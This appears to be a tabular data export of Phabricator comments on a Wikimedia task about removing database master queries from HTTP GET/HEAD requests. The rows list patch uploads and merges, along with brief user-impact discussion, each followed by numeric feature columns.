+524029,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,">>! In T92357#1619939, @Johan wrote:
+> @Nemo_bis: to make sure I don't misunderstand anything, what's the practical effect of this update on the Wikimedia users/editors?
+
+Users may see their language preference is not applied immediately and should report any issue they find.",,,1441866756,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,True,,,10,True,1,1,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,0,0,0,0,0,1
+523524,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 237014 merged by jenkins-bot:
+Defer User::saveSettings() updates on watchlist view
+
+[[https://gerrit.wikimedia.org/r/237014]]",,,1441815316,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,9,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+523316,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"@Nemo_bis: to make sure I don't misunderstand anything, what's the practical effect of this update on the Wikimedia users/editors?",,,1441790418,,PHID-USER-go2ym6ta2zn6ofdsrqnx,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,9,True,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,0,1,0,0,0,0,0,0
+523208,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"+user-notice for: Defer ""language"" preference update",,,1441776553,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,True,,,9,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0
+523178,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 237014 had a related patch set uploaded (by Aaron Schulz):
+Defer User::saveSettings() updates on watchlist view
+
+[[https://gerrit.wikimedia.org/r/237014]]
+",,,1441766713,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,9,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+523110,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 236996 had a related patch set uploaded (by Aaron Schulz):
+Defer ""lastuse"" preference updates
+
+[[https://gerrit.wikimedia.org/r/236996]]
+",,,1441757219,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,9,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,1
+522918,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 234160 merged by jenkins-bot:
+Defer ""language"" preference update
+
+[[https://gerrit.wikimedia.org/r/234160]]",,,1441741026,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,9,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1
+522558,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 235647 merged by jenkins-bot:
+Default the ""watchlisttoken"" value to a derived HMAC value
+
+[[https://gerrit.wikimedia.org/r/235647]]",,,1441719679,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,9,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,1
+521885,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"As I mentioned in one of the patches above (can't remember which), T18864 and friends may interfere (still current: T18864#1613395).",,,1441619840,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,True,,,9,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+520036,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 235647 had a related patch set uploaded (by Legoktm):
+Default the ""watchlisttoken"" value to a derived HMAC value
+
+[[https://gerrit.wikimedia.org/r/235647]]
+",,,1441261351,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,9,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,1
+520003,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 235174 abandoned by Aaron Schulz:
+Set watchlisttoken preference on account creation
+
+Reason:
+I prefer https://gerrit.wikimedia.org/r/#/c/235647/
+
+[[https://gerrit.wikimedia.org/r/235174]]",,,1441257422,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,9,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1
+518893,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 234837 merged by jenkins-bot:
+Defer the resetAuthToken() call on logout
+
+[[https://gerrit.wikimedia.org/r/234837]]",,,1441149245,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,8,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+518139,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 235174 had a related patch set uploaded (by Aaron Schulz):
+Set watchlisttoken preference on account creation
+
+[[https://gerrit.wikimedia.org/r/235174]]
+",,,1441075089,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,8,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+517941,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 234180 merged by jenkins-bot:
+Removed READ_LATEST from revision load in getMsgFromNamespace()
+
+[[https://gerrit.wikimedia.org/r/234180]]",,,1441053874,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,8,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+517460,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 234838 merged by jenkins-bot:
+Suppress DBPerformance log during account autocreation
+
+[[https://gerrit.wikimedia.org/r/234838]]",,,1440984419,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,8,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+517272,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 234838 had a related patch set uploaded (by Aaron Schulz):
+Suppress DBPerformance log during account autocreation
+
+[[https://gerrit.wikimedia.org/r/234838]]
+",,,1440920654,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,8,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+517269,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 234837 had a related patch set uploaded (by Aaron Schulz):
+Defer the resetAuthToken() call on logout
+
+[[https://gerrit.wikimedia.org/r/234837]]
+",,,1440920237,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,8,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+517019,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 234175 merged by jenkins-bot:
+Removed pointless Title::GAID_FOR_UPDATE for altBaseRevId field
+
+[[https://gerrit.wikimedia.org/r/234175]]",,,1440803132,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,8,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+516469,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 234193 merged by jenkins-bot:
+Use quickUserCan() in showHeader() to avoid master queries
+
+[[https://gerrit.wikimedia.org/r/234193]]",,,1440750186,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,8,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+515689,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 234158 merged by jenkins-bot:
+Defer ""remember"" preference updates
+
+[[https://gerrit.wikimedia.org/r/234158]]",,,1440668899,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,8,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1
+515684,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 234181 merged by jenkins-bot:
+Supress DBPerformance log entries from OAI special page
+
+[[https://gerrit.wikimedia.org/r/234181]]",,,1440668439,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,8,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+515681,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 234204 merged by jenkins-bot:
+Ignore DBPerformance thresholds in Special:ConfirmEmail
+
+[[https://gerrit.wikimedia.org/r/234204]]",,,1440668309,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,8,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+515670,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 234183 merged by jenkins-bot:
+Defer clearTalkNotification() updates as they often happen on GET requests
+
+[[https://gerrit.wikimedia.org/r/234183]]",,,1440666829,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,8,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1
+515621,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,">>! In T92357#1577841, @gerritbot wrote:
+> Change 234188 had a related patch set uploaded (by Aaron Schulz):
+> Avoid using DB_MASTER in SpecialEditWatchlist::getWatchlist()
+> 
+> [[https://gerrit.wikimedia.org/r/234188]]
+
+> The form data will be lagged by user delay anyway,
+
+The difference being that in one case the user expects the list of titles not to be complete (and hence will probably not [un]watch any page while keeping Editwatchlist open), in the other the incident is unexpected.",,,1440660971,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,True,,,8,True,1,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,1,0,1,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,0,1,1,0,0,1,0,1,0,1,0,1,0,0,1
+515520,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 234204 had a related patch set uploaded (by Aaron Schulz):
+Ignore DBPerformance thresholds in Special:ConfirmEmail
+
+[[https://gerrit.wikimedia.org/r/234204]]
+",,,1440639778,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,8,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+515509,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 234188 merged by jenkins-bot:
+Avoid using DB_MASTER in SpecialEditWatchlist::getWatchlist()
+
+[[https://gerrit.wikimedia.org/r/234188]]",,,1440638272,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,8,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+515506,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 234197 merged by jenkins-bot:
+Defer spreadAnyEditBlock() post-send
+
+[[https://gerrit.wikimedia.org/r/234197]]",,,1440637913,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,8,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+515494,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 234185 merged by jenkins-bot:
+Defer the saveSettings() call in onMakeGlobalVariablesScript()
+
+[[https://gerrit.wikimedia.org/r/234185]]",,,1440636937,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,8,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+515493,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 234197 had a related patch set uploaded (by Aaron Schulz):
+Defer spreadAnyEditBlock() post-send
+
+[[https://gerrit.wikimedia.org/r/234197]]
+",,,1440636919,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,8,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+515476,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 234160 had a related patch set uploaded (by Krinkle):
+Defer ""language"" preference update
+
+[[https://gerrit.wikimedia.org/r/234160]]
+",,,1440636141,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,8,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,1
+515473,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 234193 had a related patch set uploaded (by Aaron Schulz):
+Use quickUserCan() in showHeader() to avoid master queries
+
+[[https://gerrit.wikimedia.org/r/234193]]
+",,,1440635965,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,8,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+515441,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 234188 had a related patch set uploaded (by Aaron Schulz):
+Avoid using DB_MASTER in SpecialEditWatchlist::getWatchlist()
+
+[[https://gerrit.wikimedia.org/r/234188]]
+",,,1440633332,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,7,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+515437,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 234185 had a related patch set uploaded (by Aaron Schulz):
+Defer the saveSettings() call in onMakeGlobalVariablesScript()
+
+[[https://gerrit.wikimedia.org/r/234185]]
+",,,1440632920,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,7,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+515423,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 234183 had a related patch set uploaded (by Aaron Schulz):
+Defer clearTalkNotification() updates as they often happen on GET requests
+
+[[https://gerrit.wikimedia.org/r/234183]]
+",,,1440631935,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,7,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,1
+515415,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 234181 had a related patch set uploaded (by Aaron Schulz):
+Supress DBPerformance log entries from OAI special page
+
+[[https://gerrit.wikimedia.org/r/234181]]
+",,,1440631310,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,7,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+515414,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 234180 had a related patch set uploaded (by Aaron Schulz):
+Removed READ_LATEST from revision load in getMsgFromNamespace()
+
+[[https://gerrit.wikimedia.org/r/234180]]
+",,,1440631265,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,7,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+515403,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 234175 had a related patch set uploaded (by Aaron Schulz):
+Removed pointless Title::GAID_FOR_UPDATE for altBaseRevId field
+
+[[https://gerrit.wikimedia.org/r/234175]]
+",,,1440630342,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,7,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+515399,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 234173 had a related patch set uploaded (by Aaron Schulz):
+Use DB_SLAVE in TranslatablePage for GET request
+
+[[https://gerrit.wikimedia.org/r/234173]]
+",,,1440630088,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,7,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+515367,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 234164 had a related patch set uploaded (by Aaron Schulz):
+Use DB slaves for Campaign reads on GET requests
+
+[[https://gerrit.wikimedia.org/r/234164]]
